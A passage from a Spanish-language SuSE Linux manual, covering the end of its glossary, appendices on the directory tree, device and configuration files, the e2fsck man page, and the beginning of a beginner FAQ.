se reunen todas las funciones: la gestin de la memoria, el manejo de
la tabla de procesos, la administracin de la multitarea, de la capacidad
de multiusuario, de los sistemas de ficheros y de los accesos a ellos, la
gestin de los drivers, etc. Algunas de estas caractersticas se pueden
realizar en forma de mdulos; ver el Captulo 13.
LAN (ingl. local area network)
Es una Red de rea local gestionada por un Administrador de sistema.
Las LANs se conectan normalmente a travs de pasarelas (ingl. gateway)
a otras redes y forman as una WAN.
Lnea de comandos
Bajo Unix se puede trabajar mucho con la lnea de comandos. Cualquier
programa que se inicie desde la lnea de comandos de la Shell puede
tener opciones, como p. ej. el comando ls, cuyas opciones permiten mod-
ificar la cantidad de informacin que se indica en pantalla.

445
B. Glosario

Linux
Ncleo de sistema operativo de alto rendimiento, libre segn la licencia
GPL El nombre Linux es un Acrnimo formado de Linus uniX)
por el creador Linus Torvalds.
Linux originario
Durante el proceso de instalacin se inicia primero un Linux originario.
Este sistema es capaz de trabajar sin disco duro, ya que an no es posi-
ble acceder a l. El kernel usado proviene directamente de disquete de
arranque o del CD-ROM. La imagen del directorio root se carga junto
con otros programas (p. ej. YaST) a un RAM-Disk.
Despus de la primera entrada al sistema, YaST se inicia y la instalacin
del Linux verdadero comienza.
Lector CD-ROM (ingl. CD-ROM Drive)
Hay diferentes tipos de lectores CD-ROM. Los ms difundidos son los
lectores del tipo ATAPI, que se conectan a una controladora (E)IDE.
Aparte de estos hay tambin
 Lectores CD-ROM tipo SCSI, que se conectan a una controladora SC-
SI.
 Lectores CD-ROM que se conectan al puerto paralelo.
 Lectores CD-ROM especiales, que se conectan a una controladora es-
pecial o a una tarjeta de sonido.
Solo para los dos ltimos hace falta seleccionar drivers especiales!
Manpage
Normalmente la documentacin de los sistemas Unix se encuentra en for-
ma de Manpages (pginas de manual), que se pueden visualizar con
el comando man. Respecto al uso de las Manpages, consulte el aparta-
do 19.9, Pgina 424.
MBR (ingl. master boot record)
Es el primer sector fsico (cilindro 0, cabezal 0, sector 0) de un disco duro
de la computadora. Cada disco duro lleva un MBR, pero no todas las
BIOS pueden arrancar cualquier sistema operativo desde cualquier disco.
Arrancando desde el disco duro, la BIOS carga el contenido del MBR
a una direccin fija de la memoria y pasa el control al pequeo programa
cargado desde el MBR. Este carga entonces el sistema operativo desde
una particin del disco duro o desde un bootloader ms complejo, como
p. ej. LILO.
Medio de almacenamiento
Un trmino genrico para soportes de datos de tipos muy variados.
Medios de almacenamiento tpicos son los disquetes, discos duros, cintas,
CD-ROMs, discos magneto-pticos, memorias hologrficas, etc.
Memoria
En cuanto a la memoria, se habla a veces de la memoria de trabajo o de la
memoria principal (ingl. main memory). En el caso de Linux se habla de
dos tipos diferentes de memoria:

446
B. Glosario

 Memoria fsica: Esta es la memoria que se encuentra en forma de chips


tipo RAM en la computadora. Tpicamente hay desde 8 MB hasta
128 MB de memoria. El acceso a la memoria RAM es muy rpido.
 Memoria virtual: Gracias al concepto de la memoria virtual, la com-
putadora puede entender ciertas zonas marcadas del disco duro como
memoria de trabajo (Swap).

Memoria RAM (ingl. memory)


Memoria.
Men (ingl. menu)
La mayora de las funciones de un programa que se ejecuta en un en-
torno grfico se puede acceder a travs de un men. Los mens presentan
(como la carta en un restaurante) los comandos disponibles en listas de-
splegables para que el usuario los pueda seleccionar y ejecutar. Los pro-
gramas ofrecen generalmente una barra de mens (ingl. menu bar) que
contiene sub-menus. Adicionalmente hay mens del tipo Popup, que
aparecen sobre el fondo apretando un botn del mouse.
Montar (ingl. mount)
Es el trmino usado en Unix para incorporar un sistema de ficheros en el
rbol de directorios del sistema. Como Punto de anclaje sirve normal-
mente un directorio vaco (ver tambin apartado 19.11.2, Pgina 429).
Mountpoint
Punto de anclaje
Multiprocesador
Cuando una computadora incorpora ms de una CPUse habla de un
sistema multiprocesador. En relacin a Linux se escucha muchas veces la
abreviacin SMP (Symmetric Multi Processing) que representa una forma
especial de trabajar con mltiples procesadores.
Multitarea (ingl. multitasking)
Los sistemas operativos capaces de ejecutar ms de un Programa si-
multneamente se denominan sistemas operativos de multitarea. Se difer-
encia entre dos formas distintas de multitarea:
 Multitarea concurrente: El sistema operativo se encarga de distribuir
el tiempo de clculo entre los distintos procesos. Una forma especial
es la multitarea preemptiva.
 Multitarea cooperativa: Los procesos ceden su tiempo de clculo por
s mismos.
Se puede notar que la primera opcin es mejor, ya que ningn proceso de
usuario puede ocupar la CPU completamente. Linux ofrece la posibilidad
de trabajar con multitarea preemptiva.
Multiusuario
El funcionamiento de Multitarea es el requisito para el trabajo simul-
taneo de varios usuarios en una sola computadora. Un sistema operativo
que ofrece la posibilidad de trabajar con varios usuarios al mismo instante
se denomina sistema operativo multiusuario; Linux es multiusuario.

447
B. Glosario

NFS (ingl. network file system)


Protocolo para acceder a sistemas de ficheros de computadoras en red. En
el servidor se define mediante el fichero de configuracin /etc/exports
cules computadoras tienen acceso a cul parte del rbol de directorios
del servidor. As el cliente puede montar estos directorios en su rbol de
directorios. (ver mounten).
Nivel de ejecucin
Runlevel.
Opciones
Mediante las opciones (en ingls se denominan a veces switches) el
usuario puede influir en el comportamiento estndar de programas. En
la lnea de comandosse indica el programa a iniciar junto con las op-
ciones.
PC (ingl. personal computer)
Se denomina as a una computadora personal de tamao reducido, en
comparacin a las computadoras gigantes y centralizadas. Desde los aos
ochenta se entiende bajo este trmino la computadora pequea de IBM,
basada en una CPU del tipo x86/88 de Intel, aunque la primera computa-
dora de este estilo era una Apple.
Permiso de entrada (ingl. account)
El conjunto del nombre de usuario y de la contrasea (ingl. password) for-
ma el permiso de entrada. Normalmente es el administrador de sistema
quien establece el permiso de entrada al sistema. Segn este permiso,
el usuario est asignado a un determinado grupo de usuarios con ciertos
derechos en la computadora. La configuracin del permiso de entrada
incluye normalmente la creacin de un Directorio de usuario y la asig-
nacin de una direccin de E-Mail.
Pipe
Pipe se refiere a la conexin directa del canal de salida estndar de un
Proceso (Programa) al Canal de entrada estndar (Salida/entrada
estndar) del proceso siguiente. De este modo no hace falta almacenar
temporalmente los datos que se pasan al siguiente proceso. En la lnea
de comando de la shell, los procesos que estn conectados por un Pipe se
apuntan segn el orden de proceso, separando el uno del otro mediante el
smbolo Pipe `|' (ASCII 124).
Proc filesystem
Sistema de ficheros Proc
Procesador
CPU.
Proceso (ingl. process)
Un proceso es prcticamente un programa o un fichero ejecutable en
vivo (Shell). En lugar de proceso se usa tambin el trmino tarea
(ingl. task).
Proceso subordinado (ingl. background process)
Cuando la Shell trabaja aparentemente con un solo proceso y no per-
mite introducir comandos adicionales, se habla de un proceso que trabaja

448
B. Glosario

en primer plano. Aparte de esto existe para la mayora de las shells la


posibilidad de ejecutar procesos en segundo plano como proceso subor-
dinado.
Para iniciar un proceso en segundo plano, hace falta terminar la lnea de
comando con la que se inicia el programa con el smbolo `&'. Para que
los procesos se puedan llevar a cabo en segundo plano se necesita un
sistema operativo con capacidad de Multitarea.
Programa
Cualquier serie de instrucciones lgicas que entiende una computadora,
se considera como un programa. Estas instrucciones pueden existir en
forma de cdigo ejecutable o como instrucciones para un interpretador.
En Linux tales ficheros se identifican por el x-bit de los derechos de
fichero, lo reconoce el kernel y puede ejecutar as los programas.
Prompt
Smbolo de entrada.
Protocolo (ingl. protocol)
Los protocolos regulan la comunicacin de computadoras en Redes al
nivel de software y de hardware, determinando la apariencia de los datos
a transferir, los intervalos en los que una computadora tiene permiso de
transferir datos, cul computadora controla una conexin, etc. Algunos
protocolos muy conocidos son p. ej. FTP, UDP, TCP, HTTP, etc.
Punto de anclaje
El punto de anclaje es el directorio que sirve como referencia para incor-
porar una particin o un directorio en el rbol de directorios de Linux.
RAM (ingl. Random Access Memory)
Memoriafsica de capacidad limitada, que se puede acceder en modo de
escritura y lectura con una velocidad relativamente alta.
Rama (ingl. path)
Mediante la rama se indica exactamente la posicin de un Fichero en
un Sistema de ficheros En Unix, los distintos niveles de directorios se
separan con el smbolo `/' (ingl. slash). Hay que distinguir entre dos
diferentes tipos de ramas:
 Rama relativa: la posicin de un fichero o de un directorio se indica
con el directorio actual como punto de referencia.
 Rama absoluta: la posicin indicada es relativa al Directorio raz.

Red (ingl. net, network)


La red es el conjunto de varias computadoras interconectadas. Hay difer-
entes estructuras de redes que se distinguen por la forma en la que se
conectan las computadoras. Estas pueden ser: Anillo, estrella, bus, rbol,
etc. Algunos estndares muy conocidos son p. ej. Ethernet, Token-Ring
o RDSI. En cuanto a los protocolos se usa en los distintos niveles p. ej.
TCP, UDP, IPX, etc.
Resetear (ingl. reset)
Cuando la computadora deja de responder, se encuentra muchas veces en

449
B. Glosario

un bucle infinito. La nica solucin para esto es regresar la computadora


a un estado inicial definido. A este proceso se le llama resetear (ingl.
reset). Despus de un Reset, la computadora se encuentra en el mismo
estado que tiene cuando se acaba de encender. Es preferible resetear la
computadora y no apagar y encender, ya que el sencillo Reset perjudica
menos los componentes mecnicos y elctricos.
IMPORTANTE: Al resetear la computadora, todos los datos que se en-
cuentran en la Memoria se pierden!
Rlogin (ingl. remote login)
Mediante un remote login se puede entrar va Internet a una computadora
en otro lugar tal como si se estuviera sentado al lado de la misma. Si
en ambas mquinas corre un X-Server existe incluso la posibilidad de
redirigir aplicaciones del Sistema X Window a la pantalla local, definien-
do correctamente la variable DISPLAY del entorno remoto.
ROM (ingl. Read-only Memory)
Memoria de solo-lectura como p. ej. un Compact Disc (CD).
Root
Administrador de sistema.
RPM (rpm)
Desde la versin 5.0 de SuSE Linux el programa RPM (rpm) (ingl. Red-
Hat Package Manager) es el gestor de paquetes por defecto. rpm permite
instalar y desinstalar paquetes de software; adems se pueden direccionar
consultas al banco de datos de RPM.
Runlevel
Trmino usual en Unix para definir el nivel de servicio que el sistema ha
alcanzado despus del arranque o hasta el cual se debe retroceder (p. ej.
para mantenimiento). El programa init se encarga del cambio de nivel de
servicio. En el fichero de configuracin de init hay una serie de servicios
asignados a cada nivel de ejecucin. El nivel ms bajo (Runlevel 1) solo
permite usar el sistema con un nico usuario, mientras que en el Runlev-
el 2 varios usuarios pueden acceder al sistema.
Salida/Entrada estndar (ingl. standard input / output)
Cada proceso posee 3 canales para leer o escribir datos; estos son el canal
de entrada estndar (stdin), el canal de salida estndar (stdout) y el canal
estndar de errores (stderr). Estos canales estn por defecto direccionados
a ciertos dispositivos; en concreto, la entrada estndar hacia el teclado
y la salida estndar al igual que el canal de errores, hacia la pantalla.
Usando la shell es posible redireccionar los canales. Por ejemplo, se
puede redireccionar la entrada estndar de tal modo, que las letras no se
lean desde el teclado sino p. ej. desde un fichero. El redireccionamiento se
simboliza en la shell anteponiendo los smbolos `<' (Canal de entrada),
`>' (Canal de salida) y `2>' (Canal de error). Consultar tambin
Pipe.
Seleccin
La seleccin es un mecanismo del servidor X. Es posible marcar texto
con el mouse (apretar el botn izquierdo del mouse y pasar por encima

450
B. Glosario

del texto a seleccionar) y usarlo en otra aplicacin, pasando con el cur-


sor a otro ventana y apretando all el botn del medio. Este proceso se
denomina Cortar & Pegar (Cut & Paste).
Servidor
Un servidor es generalmente una computadora muy potente que ofrece
datos y servicios a las computadoras clientes a travs de una Red.
Aparte de las computadoras que actan como servidores existen progra-
mas que tambin se denominan servidores, ya que igualmente prestan
servicios y se ejecutan continuamente. Un ejemplo para un servidor tipo
software es el X-Server.
Shell
La Shell representa la interfaz bsica hacia el Sistema operativo(kernel).
Gracias a la shell se pueden introducir comandos en la lnea de comandos.
Para automatizar ciertas tareas, las shells incorporan un lenguaje propio
de programacin. Estos programas, denominados scripts, son una es-
pecie de batch-file inteligente. Algunas Shells conocidas son bash, sh
y tcsh.
Smbolo de entrada (ingl. prompt)
El smbolo de entrada en una Shell marca el sitio en el que se pueden
introducir los comandos del Sistema operativo. Este smbolo puede
reflejar p. ej. el nombre de la computadora y del usuario, la hora actual u
otras indicaciones. El Cursor se encuentra por lo general directamente
detrs del smbolo de entrada. Cuando el smbolo reaparece despus de
haberse introducido un comando, el sistema est otra vez en capacidad de
recibir nuevos comandos.
Sistema de ficheros (ingl. filesystem)
El sistema de ficheros es un sistema para ordenar ficheros. Hay muchos
sistemas de ficheros cuyas prestaciones difieren bastante. Determinados
sistemas de ficheros son obligatorios para un determinado medio de al-
macenamiento, por lo que no se puede precisar qu sistemas de ficheros
usa Linux.
Sistema de ficheros Proc
En comparacin a un sistema de ficheros de una unidad de almacenamien-
to, el sistema de ficheros /proc no contiene datos estticos, sino que los
genera dinmicamente con informaciones del kernel. Se usa sobre to-
do para proporcionar a las utilidades del sistema (p. ej. ps, mount) datos
actuales del kernel o para modificar parmetros del kernel en tiempo de
ejecucin.
Sistema operativo (ingl. operating system)
El sistema operativo es un programa que se ejecuta continuamente en se-
gundo plano y forma la base para poder usar la computadora. El sistema
operativo se encarga de administrar todos los recursos disponibles de la
computadora. En Linux lo llevan a cabo el Kernel, los mdulos del ker-
nel y otras utilidades sin las que el kernel resultara intil. En el caso de
SuSE Linux se considera que toda la serie a (Linux base system), las her-
ramientas de sistema y los daemons forman juntos el sistema operativo.

451
B. Glosario

Algunos sistemas operativos conocidos son AmigaOS, Linux, MacOS,


OS/2, Unix, Windows NT, etc.
Sistema X Window
X Window System
SMP (ingl. Symmetric Multi Processing)
Multiprocesador.
Swap
Es la zona de memoria virtual en el disco duro, que sirve para albergar
temporalmente pginas de memoria RAM (ver RAM. Para ello se
puede usar bajo Linux una particin especial o un fichero. La suma de
la memoria fsica RAM con la memoria disponible de swap, equivale
aproximadamente al tamao mximo de memoria virtual disponible.
Tarea
Proceso.
Telnet
Telnet es el comando y el protocolo para comunicarse con otras computa-
doras que se convierten as en anfitriones (ingl. hosts).
Terminal (ingl. terminal)
Es la combinacin de monitor y teclado conectada a un sistema mul-
tiusuario sin capacidad propia de clculo. En el caso de estaciones de
trabajo se usa el trmino tambin para hablar de programas que emulan
un terminal real.
UMSDOS
Sistema de ficheros especial (de Linux) que permite gestionar ficheros
dentro de una particin MSDOS normal, con todos las caractersticas de
Unix (nombres de fichero largos y derechos de ficheros). Es ms lento
que el sistema de ficheros correcto EXT2, pero en cambio es til para
hacer demostraciones, ya que no se necesita ninguna particin adicional
(cuando ya existe una de MSDOS).
UNIX
Es un sistema operativo especialmente extendido en estaciones de trabajo.
Unix soporta caractersticas importantes como p. ej. el uso de computa-
doras en red y est compuesto por un ncleo, una Shell, un kernel y
muchas utilidades. Desde el comienzo de los 90 existe una versin libre
(freeware) para PCs bajo el nombre Linux.
URL
Uniform Resource Locator: Sistema unificado de identificacin de recur-
sos en la red. Las direcciones se componen del protocolo y de la direccin
local del documento dentro del servidor. Las direcciones permiten identi-
ficar objetos como WWW, FTP, Gopher, etc.
Variable de entorno (ingl. environment variable)
Un lugar en el Entorno total de la Shell. Cada variable de entorno
tiene un nombre nico que se indica normalmente en maysculas. A estas
variables se les asigna valores, p. ej. alguna rama (ingl. path). En el caso
de la shell bash funciona de la siguiente manera:

452
B. Glosario

root@tierra:/ > export EDITOR=emacs


Para conocer las variables actualmente usadas se puede usar el coman-
do env. Refirindose a una variable de entorno dentro de una Shell-
script, hay que anteponer el smbolo $ al nombre de la variable. Al-
gunas variables importantes son $HOME (contiene la rama del direc-
torio de usuario), $SHELL (rama programa de shell) $USER (nombre
de usuario), $PATH (rama de bsqueda para ejecutables), $MANPATH
(rama de bsqueda de las Manpages).
Ventana (ingl. window)
Las ventanas son sectores cuadrticos de una pantalla, generalmente den-
tro de un marco. Este marco proporciona generalmente elementos para
modificar la posicin y el tamao de la ventana en la pantalla. Un
X-Server tal como un Gestor de ventanasdeben estar en ejecucin para
que se pueda trabajar con ventanas bajo Linux.
WAN (ingl. wide area network)
En comparacin a una LAN se trata de una Red con gran extensin
geogrfica.
Wildcards
Los smbolos `*' y `?' son smbolos genricos y se denominan co-
modines o en ingls wildcards. El smbolo `?' reemplaza ex-
actamente una letra cualquiera, mientras que `*' reemplaza cualquier
cantidad de letras como tambin puede no reemplazar a ninguna. Los
comodines se usan en expresiones regulares. Por ejemplo el coman-
do ls -l imagen* indica todos los ficheros del directorio actual que
comienzan con bild.
X-Server
Las computadoras que ejecutan un servidor X pueden usar servicios del
Entorno grfico de usuario X Window System. Una tarea importante del
servidor X es la administracin de las pantallas (displays); normalmente
cada terminal tiene exactamente un display. El nombre de cada display
est determinado por la Variable de entorno $DISPLAY. Esta tiene el
siguiente formato:
<Nombre_computadora>:<Nmero_display>; p. ej. tierra:0. El
conocimiento del nombre correcto del Display es importante para el
Rlogin.
X Window System
Es una coleccin de programas, protocolos y rutinas para administrar un
Entorno grfico de usuario. El Sistema X Window (abreviado X)
se desarroll dentro del mbito del proyecto Athena en el MIT (Mas-
sachusetts Institute of Technology). Las grandes ventajas de X frente a
los dems sistemas (p. ej. MS Windows o GEM) son la capacidad de tra-
bajar en red y la flexibilidad. Esta flexibilidad permite p. ej. que un usuario
ejecute programas en otra computadora pero las visualice en su monitor,
con la posibilidad de definir libremente el aspecto y el comportamiento
de la superficie grfica.
Observacin: El sistema de ventanas no se llama X-Windows sino real
y correctamente X Window System.

453
B. Glosario

454
Apndice C
El rbol de directorios

C.1 Vista general


La siguiente imagen muestra un pequeo extracto del rbol de directorios de
un sistema Linux.

bin boot dev etc home lib proc sbin tmp usr var vmlinuz

hda sda st0 ld.so

ftp linux suse X11R6 bin doc etc lib local sbin

bin pub test.c f2c

bin lib man faq howto bin lib man

xdm xterm xv

C.2 Directorios importantes


El rbol de directorios del sistema SuSE Linux est estructurado segn el
estndar de sistemas de ficheros. Los directorios importantes se describen en
la Tabla C.1.

455
C. El rbol de directorios

/ el directorio raz (ingl. root directory), es el


comienzo del rbol de directorios
/home los directorios (privados) de los usuarios
/dev ficheros de dispositivos (ingl. device files) que
representan componentes de hardware
/etc ficheros importantes de configuracin del sis-
tema
/usr/bin comandos pblicos
/bin comandos que se necesitan durante el arranque
del sistema
/usr/sbin comandos reservados para el administrador de
sistema (superusuario)
/sbin comandos reservados para el administrador de
sistema y necesarios durante el arranque del sis-
tema
/sbin/init.d scripts de arranque
/usr/include Ficheros de encabezamiento para el compilador
de C
/usr/include/g++ Ficheros de encabezamiento para el compilador
de C++
/usr/doc diferentes ficheros de documentacin
/usr/man la ayuda en lnea (manual-pages)
/usr/src fuentes del software del sistema
/usr/src/linux las fuentes del kernel
/tmp para ficheros temporales
/var/tmp para ficheros temporales grandes
/usr contiene todas las aplicaciones y se puede montar
en modo de solo escritura
/var ficheros de configuracin (p. ej. enlazados desde
/usr)
/var/log ficheros de registro
/var/adm administracin del sistema
/lib libreras compartidas (para programas dinmica-
mente enlazados)
/proc el sistema de ficheros de los procesos
/usr/local ficheros locales, independientes de la distribu-
cin SuSE Linux
/opt software opcional, paquetes grandes (p. ej. KDE)

Tabla C.1: Resumen de los directorios importantes

456
Apndice D
Ficheros importantes

El fichero ms importante del sistema es el ncleo del sistema operativo que


se encuentra desde la versin 6.0 de SuSE Linux en el directorio /boot/
vmlinuz.

D.1 Ficheros de dispositivos en el directorio /dev


Disqueteras y discos duros:1

/dev/fd0 primera disquetera


/dev/fd1 segunda disquetera
/dev/hda primer disco duro (E)IDE
/dev/hda1 - /dev/hda15 las particiones del primer disco duro
(E)IDE
/dev/sda primer disco duro SCSI
/dev/sda1 - /dev/sda15 las particiones del primer disco duro SCSI
/dev/sdb segundo disco duro SCSI
/dev/sdc tercer disco duro SCSI

Tabla D.1: Resumen de los ficheros de dispositivo para discos y dis-


queteras

D.1.1 Lectores CD-ROM

/dev/cdrom Enlace que apunta al lector CD-ROM usado, o sea, a


uno de los ficheros que figuran a continuacin (YaST
genera el enlace)
/dev/aztcd Aztech CDA268-01 CD-ROM

Tabla D.2: Contina en la pgina siguiente ...


1Aparte de los ficheros de dispositivos existentes se pueden generar otros adicionales. Para
mayor informacin ver la Manpage de mknod.

457
D. Ficheros importantes

/dev/cdu535 Sony CDU-535 CD-ROM


/dev/cm206cd Philips CM206
/dev/gscd0 Goldstar R420 CD-ROM
/dev/hda
hasta ATAPI CD-ROM
/dev/hdd
/dev/lmscd Philips CM 205/250/206/260 CD-ROM
/dev/mcd Mitsumi CD-ROM
/dev/sbpcd0
hasta CD-ROM conectado a Soundblaster
/dev/sbpcd3
/dev/scd0
hasta lectores CD-ROM tipo SCSI
/dev/scd1
/dev/sonycd Sony CDU 31a CD-ROM
/dev/sjcd Sanyo CD-ROM
/dev/optcd Optics Storage CD-ROM

Tabla D.2: Resumen sobre los ficheros de dispositivos de lectores CD-


ROM

D.1.2 Unidades de cinta/Streamer

/dev/rmt0 1. SCSI-Streamer rewinding (rebobina automtica-


mente)
/dev/nrmt0 1. SCSI-Streamer non rewinding
/dev/ftape Floppy-Streamer rewinding (rebobina automtica-
mente)
/dev/nftape Floppy-Streamer non rewinding

Tabla D.3: Resumen de los ficheros de dispositivo de cintas/Streamer

D.1.3 Mouse (Bus y PS/2)

/dev/mouse Enlace que apunta a la interfaz usada por el mouse,


o sea, a uno de los siguiente pseudo-ficheros (para
bus-mouse) o a un puerto serie (para mouse de puerto
serie). YaST establece el enlace.

Tabla D.4: Contina en la pgina siguiente ...

458
D.1. Ficheros de dispositivos en el directorio /dev

/dev/atibm bus-mouse de la tarjeta de vdeo ATI.


/dev/logibm Logitech bus-mouse.
/dev/psaux PS/2-mouse.
/dev/inportbm PS/2-bus-mouse (Microsoft Inport bus-mouse).
/dev/sunmouse SUN mouse.

Tabla D.4: Resumen de los ficheros de dispositivo para mouse

D.1.4 Modem

/dev/modem Enlace al puerto COM al cual se conecta el modem


(YaST genera el enlace)

Tabla D.5: Fichero de dispositivo para modem

D.1.5 Puertos serie

/dev/ttyS0
hasta puertos serie de 0 hasta 3 (COM1 bis COM4)
/dev/ttyS3
/dev/cua0
hasta puertos serie de 0 hasta 3 (para conexiones de modem
salientes)
/dev/cua3

Tabla D.6: Ficheros de dispositivo para puertos serie

D.1.6 Puertos paralelos

/dev/lp0
hasta puertos paralelos (LPT1 hasta LPT3)
/dev/lp2

Tabla D.7: Ficheros de dispositivo para impresoras en el puerto paralelo

459
D. Ficheros importantes

D.1.7 Dispositivos especiales

/dev/null absorbe todos los datos (papelera de datos)


/dev/tty1
hasta consolas virtuales
/dev/tty8
/dev/zero genera todos los bytes de cero que se deseen

Tabla D.8: Ficheros de dispositivo para dispositivos virtuales/especiales

D.2 Ficheros de configuracin en /etc

/etc/ Indicaciones sobre la versin de SuSE Linux


SuSE-release instalada.
/etc/rc.config Fichero de configuracin central; YaST lo
genera y los scripts de arranque tal como
SuSEconfig lo evalan.
/etc/rc.config.d Directorio que contiene ficheros adicionales
con variables de rc.config.
/etc/inittab Fichero de configuracin para el proceso init.
/etc/lilo.conf Configuracin del LILO
/etc/conf.modules Configuracin de los mdulos del kernel
/etc/DIR_COLORS Definicin de colores para ls
/etc/XF86Config Configuracin del Sistema X Window.
/etc/fstab Tabla con los sistemas de fichero que se montan
automticamente durante el arranque.
/etc/profile Script de login de las shells (sh, bash, etc.)
/etc/csh.login Script de login de tcsh
/etc/csh.cshrc Configuracin por defecto de tcsh
/etc/profile.d Directorio con extensiones para
/etc/profile y /etc/csh.cshrc
/etc/passwd Informacin sobre usuarios: Nombres de
usuario, directorio-home, shell de login,
nmero de usuario
/etc/shadow Contraseas
/etc/group Grupos de usuarios
/etc/printcap Descripcin de las impresoras a disposicin. Lo
usa el daemon de impresin lpd, ver Pgina 285
/etc/hosts Asignacin de nombres de computadora a
nmeros IP (necesario cuando no hay un servi-
dor de nombres).

Tabla D.9: Contina en la pgina siguiente ...


460
D.3. Ficheros de configuracin ocultos en /home

/etc/inetd.conf Control sobre los servicios IP a disposicin


(telnet, finger, ftp etc.).
/etc/syslogd.conf Fichero de configuracin para el daemon sys-
log, cuya tarea es la de protocolizar determina-
dos mensajes del sistema.

Tabla D.9: Ficheros de configuracin en /etc

D.3 Ficheros de configuracin ocultos en /home


En el directorio home de cada usuario hay muchos ficheros de configuracin
que por razones prcticas se ocultan y porque se han de modificar en raras
ocasiones. Un fichero se convierte en oculto anteponiendo un punto al nom-
bre. Estos ficheros se visualizan usando el comando ls -a. En la Tabla D.10
hay algunos ejemplos.

.profile script de login privado del usuario usando bash co-


mo shell
.bashrc configuracin de la bash
.exrc configuracin de vi, ex
.xinitrc script de inicio del Sistema X Window.
.fvwmrc configuracin del fvwm-windowmanager
.ctwmrc configuracin del ctwm-windowmanager
.openwin-menu configuracin de los windowmanager olvwm y olwm

Tabla D.10: ficheros ocultos en el directorio de usuario

Al crear un usuario nuevo estos ficheros se copian desde el directorio /etc/


skel.

461
D. Ficheros importantes

462
Apndice E
Manual-Page de e2fsck

E2FSCK(8) E2FSCK(8)

NAME
e2fsck - check a Linux second extended file system

SYNOPSIS
e2fsck [ -pacnyrdfvstFSV ] [ -b superblock ] [ -B block-
size ] [ -l|-L bad_blocks_file ] device

DESCRIPTION
e2fsck is used to check a Linux second extended file
system.

device is the special file corresponding to the device


(e.g /dev/hdXX).

OPTIONS
-a This option does the same thing as the -p option.
It is provided for backwards compatibility only; it
is suggested that people use -p option whenever
possible.

-b superblock
Instead of using the normal superblock, use the
alternative superblock specified by superblock.

-B blocksize
Normally, e2fsck will search for the superblock at
various different block sizes in an attempt to find
the appropriate block size. This search can be
fooled in some cases. This option forces e2fsck to
only try locating the superblock at a particular
blocksize. If the superblock is not found, e2fsck
will terminate with a fatal error.

-c This option causes e2fsck to run the badblocks(8)


program to find any blocks which are bad on the

Contina en la pgina siguiente

463
E. Manual-Page de e2fsck

filesystem, and then marks them as bad by adding


them to the bad block inode.

-d Print debugging output (useless unless you are


debugging e2fsck ).

-f Force checking even if the file system seems clean.

-F Flush the filesystem device's buffer caches before


beginning. Only really useful for doing e2fsck
time trials.

-l filename
Add the blocks listed in the file specified by
filename to the list of bad blocks.

-L filename
Set the bad blocks list to be the list of blocks
specified by filename. (This option is the same as
the -l option, except the bad blocks list is
cleared before the blocks listed in the file are
added to the bad blocks list.)

-n Open the filesystem read-only, and assume an answer


of ``no'' to all questions. Allows e2fsck to be
used non-interactively. (Note: if the -c, -l, or
-L options are specified in addition to the -n
option, then the filesystem will be opened read-
write, to permit the bad-blocks list to be updated.
However, no other changes will be made to the
filesystem.)

-p Automatically repair ("preen") the file system


without any questions.

-r This option does nothing at all; it is provided


only for backwards compatibility.

-s This option will byte-swap the filesystem so


that it is using the normalized, standard byte-
order (which is i386 or little endian). If the
filesystem is already in the standard byte-order,
e2fsck will take no action.

-S This option will byte-swap the filesystem, regard-


less of its current byte-order.

-t Print timing statistics for e2fsck. If this option


is used twice, additional timing statistics are
printed on a pass by pass basis.

-v Verbose mode.

-V Print version information and exit.

Contina en la pgina siguiente

464
E. Manual-Page de e2fsck

-y Assume an answer of ``yes'' to all questions;


allows e2fsck to be used non-interactively.

EXIT CODE
The exit code returned by e2fsck is the sum of the
following conditions:
0 - No errors
1 - File system errors corrected
2 - File system errors corrected, system should
be rebooted if file system was mounted
4 - File system errors left uncorrected
8 - Operational error
16 - Usage or syntax error
128 - Shared library error

REPORTING BUGS
Almost any piece of software will have bugs. If you
manage to find a filesystem which causes e2fsck to crash,
or which e2fsck is unable to repair, please report it to
the author.

Please include as much information as possible in your bug


report. Ideally, include a complete transcript of the
e2fsck run, so I can see exactly what error messages are
displayed. If you have a writeable filesystem where the
transcript can be stored, the script(1) program is a handy
way to save the output of to a file.

It is also useful to send the output of dumpe2fs(8). If a


specific inode or inodes seems to be giving e2fsck
trouble, try running the debugfs(8) command and send the
output of the stat command run on the relevant inode(s).
If the inode is a directory, the debugfs dump command
will allow you to extract the contents of the directory
inode, which can sent to me after being first run through
uuencode(1).

Always include the full version string which e2fsck


displays when it is run, so I know which version you are
running.

AUTHOR
This version of e2fsck is written by Theodore Ts'o
<tytso@mit.edu>.

SEE ALSO
mke2fs(8), tune2fs(8), dumpe2fs(8), debugfs(8)

E2fsprogs version 1.06 October 1996

465
E. Manual-Page de e2fsck

466
Apndice F
Las SuSE Linux-FAQ

En este anexo tratamos de responder a aquellas preguntas que aparecen


con mucha frecuencia; las preguntas frecuentemente planteadas (ingl.
Frequently Asked Questions). Aunque el manual ya contiene la respues-
ta correcta para la mayora de las preguntas, es posible que una persona
que comienza con Linux no sepa dnde buscar. Por eso en casi todas las
respuestas se indica como referencia el captulo sobre el tema en cuestin.

Cul es el captulo ms importante del manual?


Para principiantes el captulo 19, pero ste no reemplaza a un libro sobre
Linux!

Despus de la instalacin me aparece continuamente el mensaje de error


"login:" Hago algo mal?
No est haciendo nada mal, la instalacin ha terminado y es posible entrar al
sistema con su nombre de usuario (ingl. user name) y su contrasea (efectuar
un login); en el primer instante solo existe el usuario `root' (consultar
tambin el apartado 19.1, Pgina 411 y apartado 3.7.7, Pgina 100).

He hecho el login y solo veo tierra: # Cmo puedo finalmente


entrar a Linux?
Ya est en Linux. Lo que probablemente quiere es iniciar el entorno grfico
de usuario. Para ello debe configurarlo primero (p. ej. con SaX). Posterior-
mente puede iniciar la superficie grfica (Sistema X Window) con el comando
startx. Proceda segn las indicaciones del Captulo 9, Pgina 219.

Hace falta compilar un kernel propio?


No, de ninguna manera!
El kernel ya tiene tal nivel de complejidad, que hace falta considerar unas
800 opciones en la configuracin del mismo! Sera casi imposible dominar
y llegar a conocer todas las configuraciones y sus respectivas consecuencias,
por lo que aconsejamos, especialmente a los usuarios poco experimentados,
no compilar su propio kernel. Sin embargo, si se quiere aventurar, hgalo a
propio riesgo En tal caso no le podemos prestar soporte de instalacin!

467
F. Las SuSE Linux-FAQ

Pero no hace falta compilar un kernel propio para el soporte de tarjetas


de sonido?
No, desde la versin 2.2.xx del kernel esto ya no es necesario. Proceda del
modo que se explica en el apartado 11.3, Pgina 274.

Dnde se puede encontrar informacin sobre SuSE Linux?


En primer lugar por medio del manual, especialmente respecto a la instalacin
